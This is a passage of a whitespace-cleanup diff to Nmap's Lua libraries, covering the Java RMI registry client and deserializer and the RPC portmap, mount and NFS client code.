the 'P' switch does not work for me. -- Probably some idiot thing. This is a hack: local val = self.bReader.readBuffer:sub(self.bReader.pos+2, self.bReader.pos+len+2-1) self.bReader.pos = self.bReader.pos+len+2 -- Someone smarter than me can maybe get this working instead: - --local val = self.bReader:unpack('P') + --local val = self.bReader:unpack('P') --dbg("Read UTF: %s", val) return true, val end, @@ -377,25 +377,25 @@ JavaDIS = { return false, "Not enough data in buffer [3]" end return true, self.bReader:unpack('H8') - - end, + + end, skip = function(self, len) return self.bReader:skip(len) - end, + end, canRead = function(self, len) return self.bReader:canRead(len) end, } -- Generate writer-functions on the JavaDOS/JavaDIS classes on the fly -for _,x in ipairs(JavaTypes) do +for _,x in ipairs(JavaTypes) do JavaDOS._generateWriterFunc(JavaDOS, x) JavaDIS._generateReaderFunc(JavaDIS, x) end --- -- This class represents a java class and is what is returned by the library --- when invoking a remote function. Therefore, this can also represent a java --- object instance. +-- when invoking a remote function. Therefore, this can also represent a java +-- object instance. JavaClass = { new = function(self) local o = {} @@ -403,35 +403,35 @@ JavaClass = { self.__index = self return o end, - + customDataFormatter = nil, - - setName = function( self, name ) - dbg("Setting class name to %s", name) - self.name = name + + setName = function( self, name ) + dbg("Setting class name to %s", name) + self.name = name end, setSerialID = function( self, serial ) self.serial = serial end, - setFlags = function( self, flags ) + setFlags = function( self, flags ) self.flags = RMIUtils.flagsToString(flags) self._binaryflags = flags end, - + isExternalizable = function(self) if self._binaryFlags == nil then return false end - + return bit.band(self._binaryflags, RMIUtils.SC_EXTERNALIZABLE) end, - - addField = function( self, field ) + + addField = function( self, field ) if self.fields == nil then self.fields = {} end - table.insert( self.fields, field ) + table.insert( self.fields, field ) --self[field.name] = field end, setSuperClass = function(self,super) self.superClass = super end, - + setCustomData = function(self, data) self.customData = data end, - getCustomData = function(self) return self.customData end, - + getCustomData = function(self) return self.customData end, + setInterfaces = function(self,ifaces) self.ifaces = ifaces end, getName = function( self ) return self.name end, getSuperClass = function(self) return self.superClass end, @@ -446,7 +446,7 @@ JavaClass = { end end end, - + __tostring = function( self ) local data if self.name ~=nil then @@ -478,18 +478,18 @@ JavaClass = { end, toTable = function(self, customDataFormatter) local data = {self.name} - + if self.externalData ~=nil then table.insert(data, tostring(self.externalData)) end - + --if self.name ~=nil then -- data.class = self.name --end if self.ifaces ~= nil then table.insert(data, " implements " .. self.ifaces) end - + if self.superClass~=nil then local extends = self.superClass:toTable() table.insert(data ,"extends") @@ -504,23 +504,23 @@ JavaClass = { end table.insert(data, f) end - + if self.customData ~=nil then local formatter = JavaClass['customDataFormatter'] if formatter ~= nil then local title, cdata = formatter(self.name, self.customData) table.insert(data, title) table.insert(data, cdata) - else + else table.insert(data, "Custom data") table.insert(data, self.customData) end end - + return data - + end, - + } --- Represents a field in an object, i.e an object member JavaField = { @@ -539,25 +539,25 @@ JavaField = { setName = function( self, name ) self.name = name end, setObjectType = function( self, ot ) self.object_type = ot end, setReference = function( self, ref ) self.ref = ref end, - setValue = function (self, val) + setValue = function (self, val) dbg("Setting field value to %s", tostring(val)) - self.value = val - + self.value = val + end, - + getType = function( self ) return self.type end, getSignature = function( self ) return self.signature end, getName = function( self ) return self.name end, getObjectType = function( self ) return self.object_type end, getReference = function( self ) return self.ref end, getValue = function( self ) return self.value end, - - __tostring = function( self ) + + __tostring = function( self ) local data = tostring(self.type) .. " " .. tostring(self.name) if self.value ~= nil then data = data .." = " .. tostring(self.value) end - + return data end, toTable = function(self) @@ -576,9 +576,9 @@ JavaField = { end return data end, - + } ---- +--- -- Represents a java array. Internally, this is a lua list of JavaClass-instances JavaArray = { new = function(self) @@ -591,9 +591,9 @@ JavaArray = { setClass = function( self, class ) self.class = class end, setLength = function( self, length ) self.length = length end, setValue = function(self, index, object) self.values[index] = object end, - __tostring=function(self) + __tostring=function(self) local data = ("Array: %s [%d] = {"):format(tostring(self.class), self.length) - + for i=1, #self.values do data = data .. self.values[i].."," end @@ -605,7 +605,7 @@ JavaArray = { local t = {title = self.values} return t end, - + getValues = function(self) return self.values end } @@ -629,10 +629,10 @@ TC = { TC_LONGSTRING = 0x7C, TC_PROXYCLASSDESC = 0x7D, TC_ENUM = 0x7E, - + Integer = 0x49, Object = 0x4c, - + Strings = { [0x49] = "Integer", [0x4c] = "Object", @@ -661,11 +661,11 @@ local Proto= {Stream=0x4b, SingleOp=0x4c, Multiplex=0x4d} --- -- RmiDataStream class --- This class can handle reading and writing JRMP, i.e RMI wire protocol and --- can do some very limited java deserialization. This implementation has +-- This class can handle reading and writing JRMP, i.e RMI wire protocol and +-- can do some very limited java deserialization. This implementation has -- borrowed from OpenJDK RMI implementation, but only implements an -- absolute minimum of what is required in order to perform some basic calls --- +-- RmiDataStream = { new = function (self,o) @@ -696,28 +696,28 @@ RmiDataStream = { -- 0x4d -- Messages: -- Message --- Messages Message +-- Messages Message ---- --- Connects to a remote service. The connection process creates a --- socket and does some handshaking. If this is successfull, --- we are definitely talking to an RMI service. +-- Connects to a remote service. The connection process creates a +-- socket and does some handshaking. If this is successfull, +-- we are definitely talking to an RMI service. function RmiDataStream:connect(host, port) local status, err - + local socket = nmap.new_socket() socket:set_timeout(5000) - + -- local bsocket = BufferedSocket:new() socket:connect(host,port, "tcp") - + -- Output and input local dos = JavaDOS:new(BufferedWriter:new(socket)) local dis = JavaDIS:new(BufferedReader:new(socket)) - - -- Start sending a message -- - -- Add Header, Version and Protocol - + + -- Start sending a message -- + -- Add Header, Version and Protocol + --dos:write('JRMI' .. bin.pack('H', Version .. Proto.Stream)) dos:writeInt(1246907721) -- == JRMI dos:writeShort(Version) @@ -726,21 +726,21 @@ function RmiDataStream:connect(host, port) if not status then return doh(err) end - - -- For the StreamProtocol and the MultiplexProtocol, the server must respond with a a byte 0x4e - -- acknowledging support for the protocol, and an EndpointIdentifier that contains the host name + + -- For the StreamProtocol and the MultiplexProtocol, the server must respond with a a byte 0x4e + -- acknowledging support for the protocol, and an EndpointIdentifier that contains the host name -- and port number that the server can see is being used by the client. - -- The client can use this information to determine its host name if it is otherwise unable to do that for security reasons. + -- The client can use this information to determine its host name if it is otherwise unable to do that for security reasons. -- Read ack status, err = self:readAck(dis) if not status then return doh("No ack received from server:" .. tostring(err)) end - - -- The client must then respond with another EndpointIdentifier that contains the clients + + -- The client must then respond with another EndpointIdentifier that contains the clients -- default endpoint for accepting connections. This can be used by a server in the MultiplexProtocol case to identify the client. - + dos:writeUTF("127.0.0.1") -- TODO, write our own ip instead (perhaps not necessary, since we are not using MultiplexProtocol dos:writeInt(0) -- Port ( 0 works fine) dos:flush() @@ -755,9 +755,9 @@ end --@return error message function RmiDataStream:readAck(dis) local status, ack = dis:readByte() - + if not status then return doh( "Could not read data") end - + if ack ~= 78 then return doh("No ack received: ".. tostring(ack)) end @@ -765,7 +765,7 @@ function RmiDataStream:readAck(dis) if not status then return false, "Could not read data" end local status, port = dis:readUnsignedInt() if not status then return false, "Could not read data" end - + dbg("RMI-Ack received (host %s, port: %d) " , host, port) return true end @@ -774,14 +774,14 @@ end --@param out - a JavaDos outputstream --@param objNum -object id (target of call) --@param hash - the hashcode for the class that is invoked ---@param op - the operation number (method) invoked +--@param op - the operation number (method) invoked --@param arguments - optional, if arguments are needed to this method. Should be an Arguments table -- or something else which has a getData() function to get binary data function RmiDataStream:writeMethodCall(out,objNum, hash, op, arguments) dbg("Invoking object %s, hash %s, opNum %s, args %s", tostring(objNum), tostring(hash), tostring(op), tostring(arguments)) local dos = self.dos local dis = self.dis - + -- Send Call: dos:writeByte(0x50) -- Send Magic 0xaced @@ -790,11 +790,11 @@ function RmiDataStream:writeMethodCall(out,objNum, hash, op, arguments) dos:writeShort(0x0005) -- Send TC_BLOKDATA dos:writeByte(0x77) - + -- send length (byte) dos:writeByte(0x22) - -- From sun.rmi.transport.StreamRemoteCall : + -- From sun.rmi.transport.StreamRemoteCall : -- // write out remote call header info... -- // call header, part 1 (read by Transport) -- conn.getOutputStream().write(TransportConstants.Call); @@ -804,22 +804,22 @@ function RmiDataStream:writeMethodCall(out,objNum, hash, op, arguments) -- out.writeInt(op); // method number (operation index) -- out.writeLong(hash); // stub/skeleton hash -- Send rest of the call - + local unique, time, count =0,0,0 - + dos:writeLong(objNum);-- id objNum - dos:writeInt(unique); -- space - dos:writeLong(time); + dos:writeInt(unique); -- space + dos:writeLong(time); dos:writeShort(count); dos:writeInt(op) dos:pack('H',hash) - + -- And now, the arguments if arguments ~= nil then dos:write(arguments:getData()) end - - + + dos:flush() end @@ -828,7 +828,7 @@ end --@param methodData, a table which should contain the following --@param objNum -object id (target of call) --@param hash - the hashcode for the class that is invoked ---@param op - the operation number (method) invoked +--@param op - the operation number (method) invoked --@param arguments - optional, if arguments are needed to this method. Should be an Arguments table -- or something else which has a getData() function to get binary data --@return status @@ -840,11 +840,11 @@ function RmiDataStream:invoke(objNum, hash, op, arguments) self:writeMethodCall(out,objNum,hash, op, arguments) local status, retByte = dis:readByte() if not status then return false, "No return data received from server" end - + if 0x51 ~= retByte then -- 0x51 : Returndata return false, "No return data received from server" end - + status, data = self:readReturnData(dis) return status, data end @@ -853,39 +853,39 @@ end -- Reads an RMI ReturnData packet --@param dis a JavaDIS inputstream function RmiDataStream:readReturnData(dis) - + --[[ From -http://turtle.ee.ncku.edu.tw/docs/java/jdk1.2.2/guide/rmi/spec/rmi-protocol.doc3.html : - A ReturnValue of an RMI call consists of a return code to indicate either a normal or - exceptional return, a UniqueIdentifier to tag the return value (used to send a DGCAck if necessary) - followed by the return result: either the Value returned or the Exception thrown. + A ReturnValue of an RMI call consists of a return code to indicate either a normal or + exceptional return, a UniqueIdentifier to tag the return value (used to send a DGCAck if necessary) + followed by the return result: either the Value returned or the Exception thrown. CallData: ObjectIdentifier Operation Hash (Arguments) - ReturnValue: + ReturnValue: 0x01 UniqueIdentifier (Value) 0x02 UniqueIdentifier Exception - + ObjectIdentifier: ObjectNumber UniqueIdentifier UniqueIdentifier: Number Time Count Arguments: Value Arguments Value Value: Object Primitive - + Example: [ac ed][00 05][77][0f][01][25 14 95 21][00 00 01 2b 16 9a 62 5a 80 0b] [magc][ver ][BL][L ][Ok][ --------------- not interesting atm ----------------------] - + --]] - + -- We need to be able to read at least 7 bytes -- If that is doable, we can ignore the status on the following readbyte operations if not dis:canRead(7) then return doh("Not enough data received") end - + local status, magic = dis:readShort() -- read magic local status, version = dis:readShort() -- read version - - + + local status, typ = dis:readByte() if typ ~= TC.TC_BLOCKDATA then return doh("Expected block data when reading return data") @@ -896,15 +896,15 @@ function RmiDataStream:readReturnData(dis) if ex ~= 1 then return doh("Remote call threw exception") end - + -- We can skip the rest of this block dis:skip(len -1) - + -- Now, the return value object: local status, x = readObject0(dis) dbg("Read object, got %d left in buffer", dis.bReader:bufferSize()) - - + + if(dis.bReader:bufferSize() > 0) then local content = dis.bReader:unpack('H'..tostring(dis.bReader:bufferSize())) dbg("Buffer content: %s" ,content) @@ -917,13 +917,13 @@ function readObject0(dis) local finished = false local data, status, responseType - - status, responseType = dis:readByte() + + status, responseType = dis:readByte() if not status then return doh("Not enough data received") end - - dbg("Reading object of type : %s" , RMIUtils.tcString(responseType)) + + dbg("Reading object of type : %s" , RMIUtils.tcString(responseType)) local decoder = TypeDecoders[responseType] if decoder ~= nil then status, data = decoder(dis) @@ -945,11 +945,11 @@ function readArray(dis) array:setClass(classDesc) dbg("Reading array length") local status, len = dis:readInt() - - if not status then + + if not status then return doh("Could not read data") end - + array:setLength(len) dbg("Reading array of length is %X", len) for i =1, len, 1 do @@ -962,11 +962,11 @@ end function readClassDesc(dis) local status, p = dis:readByte() if not status then return doh( "Could not read data" ) end - + dbg("reading classdesc: %s" , RMIUtils.tcString(p)) - + local val - + if p == TC.TC_CLASSDESC then dbg("Reading TC_CLASSDESC") status, val = readNonProxyDesc(dis) @@ -979,21 +979,21 @@ function readClassDesc(dis) else return doh("TC_classdesc is other %d", p) end - + if not status then return doh("Error reading class description") end return status, val - - + + end function readOrdinaryObject(dis) local status, desc = readClassDesc(dis) if not status then return doh("Error reading ordinary object") end - - + + if desc:isExternalizable() then dbg("External content") local status, extdata = readExternalData(dis) @@ -1016,7 +1016,7 @@ function readOrdinaryObject(dis) end -- Attempts to read some object-data, at least remove the block --- header. This method returns the external data in 'raw' form, +-- header. This method returns the external data in 'raw' form, -- since it is up to each class to define an readExternal method function readExternalData(dis) local data = {} @@ -1050,13 +1050,13 @@ end ---- -- ExternalClassParsers : External Java Classes --- This 'class' contains information about certain specific java classes, --- such as UnicastRef, UnicastRef2. After such an object has been read by --- the object serialization protocol, it will contain a lump of data which is +-- This 'class' contains information about certain specific java classes, +-- such as UnicastRef, UnicastRef2. After such an object has been read by +-- the object serialization protocol, it will contain a lump of data which is -- in 'external' form, and needs to be read in a way which is specific for the class --- itself. This class contains the implementations for reading out the +-- itself. This class contains the implementations for reading out the -- 'goodies' of e.g UnicastRef, which contain important information about --- where another RMI-socket is listening and waiting for someone to connect. +-- where another RMI-socket is listening and waiting for someone to connect. ExternalClassParsers = { --- --@see sun.rmi.transport.tcp.TCPEndpoint @@ -1067,7 +1067,7 @@ ExternalClassParsers = { if not stat then return doh("Parsing external data, could not read host (UTF)") end local status, port = dis:readUnsignedInt(); if not stat then return doh("Parsing external data, could not read port (int)") end - + dbg("a host: %s, port %d", host, port) return true, ("@%s:%d"):format(host,port) end, @@ -1106,37 +1106,37 @@ ExternalClassParsers['java.rmi.server.RemoteObject'] = function(dis) end dbg("Ref class name: %s ", refClassName) local parser = ExternalClassParsers[refClassName] - + if parser == nil then return doh("No external class reader for %s" , refClassName) end - + local status, object = parser(dis) return status, object end --- Attempts to parse the externalized data of an object. ---@return status, the object data +-- Attempts to parse the externalized data of an object. +--@return status, the object data function parseExternalData(j_object) - + if j_object == nil then return doh("parseExternalData got nil object") end - + local className = j_object:getName() - + -- Find parser for the object, move up the hierarchy local obj = j_object local parser = nil while(className ~= nil) do - parser = ExternalClassParsers[className] + parser = ExternalClassParsers[className] if parser ~= nil then break end - + obj = obj:getSuperClass() if obj== nil then break end-- No more super classes className = obj:getName() end - + if parser == nil then return doh("External reader for class %s is not implemented", tostring(className)) end @@ -1154,11 +1154,11 @@ end -- coded as hex function makeStringReadable(data) local r = "" - for i=1,#data,1 do + for i=1,#data,1 do local x = data:byte(i) if x > 31 and x <127 then r = r .. data:sub(i,i) - else + else r = r .. ("\\x%x"):format(x) end end @@ -1171,26 +1171,26 @@ function readNonProxyDesc(dis) local status, classname = dis:readUTF() if not status then return doh( "Could not read data" ) end j_class:setName(classname) - + local status, serialID = dis:readLongAsHexString() if not status then return doh("Could not read data") end j_class:setSerialID(serialID) - + dbg("Set serial ID to %s", tostring(serialID)) - + local status, flags = dis:readByte() if not status then return doh("Could not read data") end j_class:setFlags(flags) - + local status, fieldCount = dis:readShort() if not status then return doh( "Could not read data") end - + dbg("Fieldcount %d", fieldCount) - + local fields = {} for i =0, fieldCount-1,1 do - local status, fieldDesc = readFieldDesc(dis) + local status, fieldDesc = readFieldDesc(dis) j_class:addField(fieldDesc) -- Need to store in list, the field values need to be read -- after we have finished reading the class description @@ -1201,9 +1201,9 @@ function readNonProxyDesc(dis) if status and customStrings ~= nil and #customStrings > 0 then j_class:setCustomData(customStrings) end - + local _,superDescriptor = readClassDesc(dis) - + j_class:setSuperClass(superDescriptor) dbg("Superclass read, now reading %i field values", #fields) --Read field values @@ -1221,8 +1221,8 @@ function readNonProxyDesc(dis) end dbg("-- leaving readNonProxyDesc--") return true, j_class - - + + end function readProxyDesc(dis) @@ -1240,7 +1240,7 @@ function readProxyDesc(dis) dbg("Interface: %s " ,iface) ifaceNum = ifaceNum-1 end - + local j_class = JavaClass:new() local status, customStrings = skipCustomData(dis) @@ -1249,15 +1249,15 @@ function readProxyDesc(dis) end local _,superDescriptor = readClassDesc(dis) - - + + --print ("superdescriptor", superDescriptor) j_class:setSuperClass(superDescriptor) j_class:setInterfaces(interfaces) - + dbg("-- leaving readProxyDesc--") return true, j_class - + end -- -- Skips over all block data and objects until TC_ENDBLOCKDATA is @@ -1266,18 +1266,18 @@ end --@return status --@return any strings found while searching function skipCustomData(dis) - -- If we come across something interesting, just put it into + -- If we come across something interesting, just put it into -- the returnData list local returnData = {} while true do local status, p = dis:readByte() - if not status then + if not status then return doh("Could not read data") end - + if not status then return doh("Could not read data") end dbg("skipCustomData read %s", RMIUtils.tcString(p)) - + if p == TC.TC_BLOCKDATA or p == TC.TC_BLOCKDATALONG then dbg("continuing") --return @@ -1291,14 +1291,14 @@ function skipCustomData(dis) elseif p == TC.TC_STRING then --dbg("A string is coming!") local status, str = dis:readUTF() - if not status then + if not status then return doh("Could not read data") end dbg("Got a string, but don't know what to do with it! : %s",str) - -- Object serialization is a bit messy. I have seen the - -- classpath being sent over a customdata-field, so it is - -- definitely interesting. Quick fix to get it showing - -- is to just stick it onto the object we are currently at. + -- Object serialization is a bit messy. I have seen the + -- classpath being sent over a customdata-field, so it is + -- definitely interesting. Quick fix to get it showing + -- is to just stick it onto the object we are currently at. -- So, just put the string into the returnData and continue table.insert(returnData, str) else @@ -1329,15 +1329,15 @@ function readFieldDesc(dis) -- `[` // array -- `L' // object local j_field = JavaField:new() - + local status, c = dis:readByte() if not status then return doh("Could not read data") end - + local char = string.char(c) - + local status, name = dis:readUTF() if not status then return doh("Could not read data") end - + local fieldType = ('primitive type: (%s) '):format(char) dbg("Fieldtype, char = %s, %s", tostring(fieldType), tostring(char)) if char == 'L' or char == '[' then @@ -1351,13 +1351,13 @@ function readFieldDesc(dis) fieldType = fieldclassname end end - + if not status then return false, fieldType end - + dbg("Field description: name: %s, type: %s", tostring(name), tostring(fieldType)) - + j_field:setType(fieldType) j_field:setName(name) -- setType = function( self, typ ) self.type = typ end, @@ -1365,17 +1365,17 @@ function readFieldDesc(dis) -- setName = function( self, name ) self.name = name end, -- setObjectType = function( self, ot ) self.object_type = ot end, -- setReference = function( self, ref ) self.ref = ref end, - + dbg("Created java field:".. tostring(j_field)) - + return true, j_field - + end - + function readTypeString(dis) local status, tc = dis:readByte() if not status then return doh("Could not read data") end - if tc == TC.TC_NULL then + if tc == TC.TC_NULL then return true, nil elseif tc== TC.TC_REFERENCE then return doh("Not implemented, readTypeString(TC_REFERENCE)"); @@ -1389,40 +1389,40 @@ end TypeDecoders = { - [TC.TC_ARRAY] = readArray, + [TC.TC_ARRAY] = readArray, [TC.TC_CLASSDESC] = readClassDesc, - [TC.TC_STRING] = readString, + [TC.TC_STRING] = readString, [TC.TC_OBJECT] = readOrdinaryObject, } --- -- Registry --- Class to represent the RMI Registry. +-- Class to represent the RMI Registry. --@usage: -- registry = rmi.Registry:new() -- status, data = registry:list() Registry ={ new = function (self,host, port) - local o ={} -- create object + local o ={} -- create object setmetatable(o, self) self.__index = self -- DIY inheritance - -- Hash code for sun.rmi.registry.RegistryImpl_Stub, which we are invoking : + -- Hash code for sun.rmi.registry.RegistryImpl_Stub, which we are invoking : -- hex: 0x44154dc9d4e63bdf , dec: 4905912898345647071 self.hash = '44154dc9d4e63bdf' -- RmiRegistry object id is 0 - self.objId = 0 + self.objId = 0 o.host = host o.port = port return o end } --- Connect to the remote registry. +-- Connect to the remote registry. --@return status --@return error message function Registry:_handshake() local out = RmiDataStream:new() local status, err = out:connect(self.host,self.port) - + if not status then return doh("Registry connection failed: %s", tostring(err)) end @@ -1442,7 +1442,7 @@ function Registry:list() return self.out:invoke(self.objId, self.hash,1) end --- --- Perform a lookup on an object in the Registry, +-- Perform a lookup on an object in the Registry, -- takes the name which is bound in the registry -- as argument --@return status @@ -1457,17 +1457,17 @@ function Registry:lookup(name) end ---- -- Arguments class --- This class is meant to handle arguments which is sent to a mehtod invoked --- remotely. It is mean to contain functionality to add java primitive datatypes, +-- This class is meant to handle arguments which is sent to a mehtod invoked +-- remotely. It is mean to contain functionality to add java primitive datatypes, -- such as pushInt, pushString, pushLong etc. All of these are not implemented -- currently --@usage: When invoking a remote method --- use this class in this manner: +-- use this class in this manner: -- Arguments a = Arguments:new() -- a:addString("foo") -- datastream:invoke{objNum=oid, hash=hash, opNum = opid, arguments=a} -- ... --- +-- Arguments = { new = function (self,o) @@ -1477,7 +1477,7 @@ Arguments = { -- We use a buffered socket just to be able to use a javaDOS for writing self.dos = JavaDOS:new(BufferedWriter:new()) return o - end, + end, addString = function(self, str) self.dos:writeByte(TC.TC_STRING) self.dos:writeUTF(str) @@ -1494,15 +1494,15 @@ Arguments = { --- -- RMIUtils class provides some some codes and definitions from Java --- There are three types of output messages: Call, Ping and DgcAck. --- A Call encodes a method invocation. A Ping is a transport-level message --- for testing liveness of a remote virtual machine. --- A DGCAck is an acknowledgment directed to a --- server's distributed garbage collector that indicates that remote objects +-- There are three types of output messages: Call, Ping and DgcAck. +-- A Call encodes a method invocation. A Ping is a transport-level message +-- for testing liveness of a remote virtual machine. +-- A DGCAck is an acknowledgment directed to a +-- server's distributed garbage collector that indicates that remote objects -- in a return value from a server have been received by the client. RMIUtils = { - + -- Indicates a Serializable class defines its own writeObject method. SC_WRITE_METHOD = 0x01, -- Indicates Externalizable data written in Block Data mode. @@ -1513,7 +1513,7 @@ RMIUtils = { SC_EXTERNALIZABLE = 0x04, --Bit mask for ObjectStreamClass flag. Indicates class is an enum type. SC_ENUM = 0x10, - + flagsToString = function(flags) local retval = '' if ( bit.band(flags, RMIUtils.SC_WRITE_METHOD) ~= 0) then @@ -1536,14 +1536,14 @@ RMIUtils = { tcString = function (constant) local x = TC.Strings[constant] or "Unknown code" return ("%s (0x%x)"):format(x,tostring(constant)) - + end, } local RMIMessage = { Call = 0x50, - Ping = 0x52, + Ping = 0x52, DgcAck= 0x54, } STREAM_MAGIC = 0xaced diff --git a/nselib/rpc.lua b/nselib/rpc.lua index 4441a1b37..ce66e927c 100644 --- a/nselib/rpc.lua +++ b/nselib/rpc.lua @@ -87,11 +87,11 @@ _ENV = stdnse.module("rpc", stdnse.seeall) -- Version 0.3 -- --- Created 01/24/2010 - v0.1 - created by Patrik Karlsson +-- Created 01/24/2010 - v0.1 - created by Patrik Karlsson -- Revised 02/22/2010 - v0.2 - cleanup, revised the way TCP/UDP are handled fo -- encoding an decoding -- Revised 03/13/2010 - v0.3 - re-worked library to be OO --- Revised 04/18/2010 - v0.4 - Applied patch from Djalal Harouni with improved +-- Revised 04/18/2010 - v0.4 - Applied patch from Djalal Harouni with improved -- error checking and re-designed Comm class. see: -- http://seclists.org/nmap-dev/2010/q2/232 -- Revised 06/02/2010 - v0.5 - added code to the Util class to check for file @@ -110,7 +110,7 @@ RPC_args = { -- Defines the order in which to try to connect to the RPC programs -- TCP appears to be more stable than UDP in most cases, so try it first -local RPC_PROTOCOLS = (nmap.registry.args and nmap.registry.args[RPC_args['rpcbind'].proto] and +local RPC_PROTOCOLS = (nmap.registry.args and nmap.registry.args[RPC_args['rpcbind'].proto] and type(nmap.registry.args[RPC_args['rpcbind'].proto]) == 'table') and nmap.registry.args[RPC_args['rpcbind'].proto] or { "tcp", "udp" } @@ -169,7 +169,7 @@ Comm = { local resvport = math.random(1, 1024) socket = nmap.new_socket() status, err = socket:bind(nil, resvport) - if status then + if status then status, err = socket:connect(host, port) if status or err == "TIMEOUT" then break end socket:close() @@ -255,7 +255,7 @@ Comm = { -- @return status boolean true SetVersion = function(self, version) if self.checkprogver then - if (RPC_version[self.program] and RPC_args[self.program] and + if (RPC_version[self.program] and RPC_args[self.program] and nmap.registry.args and nmap.registry.args[RPC_args[self.program].ver]) then self.version = tonumber(nmap.registry.args[RPC_args[self.program].ver]) elseif (not(self.version) and version) then @@ -271,7 +271,7 @@ Comm = { -- before trying to connecting. -- @param check boolean to enable or disable checking of program and version support. SetCheckProgVer = function(self, check) - self.checkprogver = check + self.checkprogver = check end, --- Sets the RPC program ID to use. @@ -379,7 +379,7 @@ Comm = { end pos, header.verifier.flavor = bin.unpack(">I", data, pos) - pos, header.verifier.length = bin.unpack(">I", data, pos) + pos, header.verifier.length = bin.unpack(">I", data, pos) if header.verifier.length - 8 > 0 then status, data = self:GetAdditionalBytes( data, pos, header.verifier.length - 8 ) @@ -407,7 +407,7 @@ Comm = { -- as the packet contains no length field. It's up to each decoding function -- to do appropriate checks return self.socket:receive_bytes(1) - else + else local tmp, lastfragment, length local data, pos = "", 1 @@ -439,7 +439,7 @@ Comm = { -- When multiple packets are received they look like this -- H = Header data -- D = Data - -- + -- -- We don't want the Header -- -- HHHHDDDDDDDDDDDDDDHHHHDDDDDDDDDDD @@ -448,7 +448,7 @@ Comm = { -- -- eg. we want -- data:sub(5, 18) and data:sub(22) - -- + -- local bufcopy = data:sub(pos) @@ -483,17 +483,17 @@ Comm = { if ( not(status) ) then return end - + packet = packet .. ( data or "" ) if ( self.proto == "udp") then return packet else -- set the high bit as this is our last fragment len = 0x80000000 + packet:len() - return bin.pack(">I", len) .. packet + return bin.pack(">I", len) .. packet end end, - + SendPacket = function( self, packet ) if ( self.host and self.port ) then return self.socket:sendto(self.host, self.port, packet) @@ -509,11 +509,11 @@ Comm = { } --- Portmap (rpcbind) class -Portmap = +Portmap = { - PROTOCOLS = { - ['tcp'] = 6, - ['udp'] = 17, + PROTOCOLS = { + ['tcp'] = 6, + ['udp'] = 17, }, -- TODO: add more Authentication Protocols @@ -556,7 +556,7 @@ Portmap = Procedure = { - [2] = + [2] = { GETPORT = 3, DUMP = 4, @@ -564,13 +564,13 @@ Portmap = }, }, - + State = { MSG_ACCEPTED = 0, MSG_DENIED = 1, }, - + AcceptState = { SUCCESS = 0, @@ -594,7 +594,7 @@ Portmap = RejectState = { RPC_MISMATCH = 0, - AUTH_ERROR = 1, + AUTH_ERROR = 1, }, RejectMsg = @@ -686,7 +686,7 @@ Portmap = if ( vfollows == 0 ) then break end - + pos, program, version, protocol, port = bin.unpack(">IIII", data, pos) if ( protocol == Portmap.PROTOCOLS.tcp ) then protocol = "tcp" @@ -721,15 +721,15 @@ Portmap = if ( not( Portmap.PROTOCOLS[protocol] ) ) then return false, ("Portmap.Callit: Protocol %s not supported"):format(protocol) end - + if ( Util.ProgNameToNumber(program) == nil ) then return false, ("Portmap.Callit: Unknown program name: %s"):format(program) end - + local data = bin.pack(">IIII", Util.ProgNameToNumber(program), version, 0, 0 ) local packet = comm:EncodePacket(nil, Portmap.Procedure[comm.version].CALLIT, { type=Portmap.AuthType.NULL }, data ) - + if (not(comm:SendPacket(packet))) then return false, "Portmap.Callit: Failed to send data" end @@ -753,7 +753,7 @@ Portmap = end, - --- Queries the portmapper for the port of the selected program, + --- Queries the portmapper for the port of the selected program, -- protocol and version -- -- @param comm object handles rpc program information and @@ -765,20 +765,20 @@ Portmap = GetPort = function( self, comm, program, protocol, version ) local status, data, response, header, pos, packet local xid - + if ( not( Portmap.PROTOCOLS[protocol] ) ) then return false, ("Portmap.GetPort: Protocol %s not supported"):format(protocol) end - + if ( Util.ProgNameToNumber(program) == nil ) then return false, ("Portmap.GetPort: Unknown program name: %s"):format(program) end - + data = bin.pack(">I>I>I>I", Util.ProgNameToNumber(program), version, Portmap.PROTOCOLS[protocol], 0 ) packet = comm:EncodePacket(xid, Portmap.Procedure[comm.version].GETPORT, { type=Portmap.AuthType.NULL }, data ) - + if (not(comm:SendPacket(packet))) then return false, "Portmap.GetPort: Failed to send data" end @@ -790,7 +790,7 @@ Portmap = end pos, header = comm:DecodeHeader( data, 1 ) - + if ( not(header) ) then return false, "Portmap.GetPort: Failed to decode RPC header" end @@ -862,7 +862,7 @@ Mount = { MNTERR_SERVERFAULT = 10006, }, - Procedure = + Procedure = { MOUNT = 1, DUMP = 2, @@ -991,7 +991,7 @@ Mount = { -- decode groups while true do - local group + local group status, data = comm:GetAdditionalBytes( data, pos, 4 ) if (not(status)) then @@ -1288,7 +1288,7 @@ NFS = { }, -- Unfortunately the NFS procedure numbers differ in between versions - Procedure = + Procedure = { -- NFS Version 1 [1] = @@ -1302,7 +1302,7 @@ NFS = { }, -- NFS Version 2 - [2] = + [2] = { GETATTR = 1, ROOT = 3, @@ -1313,7 +1313,7 @@ NFS = { }, -- NFS Version 3 - [3] = + [3] = { GETATTR = 1, SETATTR = 2, @@ -1365,7 +1365,7 @@ NFS = { if (status ~= NFS.StatCode[version].NFS_OK) then if (NFS.StatMsg[status]) then stdnse.print_debug(4, - string.format("%s failed: %s", procedurename, NFS.StatMsg[status])) + string.format("%s failed: %s", procedurename, NFS.StatMsg[status])) else stdnse.print_debug(4, string.format("%s failed: code %d", procedurename, status)) @@ -1440,7 +1440,7 @@ NFS = { stdnse.print_debug(4, "NFS.ReadDirDecode: Failed to call GetAdditionalBytes") return -1, nil end - + pos, status = Util.unmarshall_uint32(data, pos) if (not self:CheckStat("READDIR", comm.version, status)) then return -1, nil @@ -1483,7 +1483,7 @@ NFS = { stdnse.print_debug(4, "NFS.ReadDirDecode: Failed to call GetAdditionalBytes") return -1, nil end - + pos, value_follows = Util.unmarshall_uint32(data, pos) if ( value_follows == 0 ) then break @@ -1510,7 +1510,7 @@ NFS = { stdnse.print_debug(4, "NFS.ReadDirDecode: Failed to call GetAdditionalBytes") return -1, nil end - + pos, entry.length = Util.unmarshall_uint32(data, pos) status, data = comm:GetAdditionalBytes( data, pos, entry.length ) if (not(status)) then @@ -1597,7 +1597,7 @@ NFS = { if (not self:CheckStat("LOOKUP", comm.version, status)) then return -1, nil end - + if (comm.version == 3) then status, data = comm:GetAdditionalBytes( data, pos, 4) if (not(status)) then @@ -1718,7 +1718,7 @@ NFS = { if (not self:CheckStat("READDIRPLUS", comm.version, status)) then return -1, nil end - + status, data = comm:GetAdditionalBytes(data, pos, 4) if not status then stdnse.print_debug(4, "NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes") @@ -1755,7 +1755,7 @@ NFS 